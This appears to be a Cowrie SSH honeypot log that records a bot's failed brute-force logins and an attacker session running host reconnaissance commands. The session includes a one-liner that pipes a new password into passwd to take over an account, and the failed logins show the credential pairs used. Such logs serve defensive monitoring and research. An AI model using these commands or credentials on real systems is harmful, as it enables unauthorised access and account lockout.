{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.433917Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":52218,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f0f9f5e348d","protocol":"ssh","message":"New connection: 43.130.29.69:52218 (159.203.135.109:22) [session: 7f0f9f5e348d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.495095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.500347Z","src_ip":"43.130.29.69","session":"7f0f9f5e348d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.569880Z","src_ip":"43.130.29.69","session":"7f0f9f5e348d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:20.876461Z","src_ip":"43.130.29.69","session":"7f0f9f5e348d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:21.948576Z","src_ip":"43.130.29.69","session":"7f0f9f5e348d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.29.69","src_port":52228,"dst_ip":"159.203.135.109","dst_port":22,"session":"f66ac8fb8f66","protocol":"ssh","message":"New connection: 43.130.29.69:52228 (159.203.135.109:22) [session: f66ac8fb8f66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:22.013038Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:22.019256Z","src_ip":"43.130.29.69","session":"f66ac8fb8f66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:22.091437Z","src_ip":"43.130.29.69","session":"f66ac8fb8f66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"3245gs5662d34","message":"login attempt [tom/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:22.396487Z","src_ip":"43.130.29.69","session":"f66ac8fb8f66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.468975Z","src_ip":"43.130.29.69","session":"f66ac8fb8f66","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.580449Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.583713Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.722490Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.840018Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"tom\\n6NNRMcOZMNSs\\n6NNRMcOZMNSs\"|passwd|bash","message":"CMD: echo -e \"tom\\n6NNRMcOZMNSs\\n6NNRMcOZMNSs\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.843522Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.847928Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.851699Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c8b8b9dca7bd4cc0b03964b1ef73df76d11d160a2d4a90a37c467a6ad4345307","size":32,"shasum":"c8b8b9dca7bd4cc0b03964b1ef73df76d11d160a2d4a90a37c467a6ad4345307","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c8b8b9dca7bd4cc0b03964b1ef73df76d11d160a2d4a90a37c467a6ad4345307 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:23.991980Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.111578Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"tom\\n6NNRMcOZMNSs\\n6NNRMcOZMNSs\\n\"|passwd","message":"CMD: echo \"tom\\n6NNRMcOZMNSs\\n6NNRMcOZMNSs\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.115304Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/27249bf4bab4be4bba314cedef839c44679e3635605ff332bdc6d800cd0fea2a","size":25,"shasum":"27249bf4bab4be4bba314cedef839c44679e3635605ff332bdc6d800cd0fea2a","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/27249bf4bab4be4bba314cedef839c44679e3635605ff332bdc6d800cd0fea2a after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.273081Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.389106Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.392756Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.533502Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.652009Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.656075Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.795415Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.936130Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.939717Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:24.944409Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.092480Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.485882Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.489667Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":19,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.628281Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.770912Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.774362Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:25.911687Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.050731Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.055061Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.193761Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.327347Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.330854Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.471323Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.597860Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.601971Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.739550Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.863674Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:26.867561Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.004529Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.126482Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.130334Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.267537Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.404705Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.409281Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":4,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.547397Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.670835Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.674486Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.812634Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.935762Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:27.939335Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:18:28.012790Z","src_ip":"43.130.29.69","session":"08e30042a402","protocol":"ssh"}
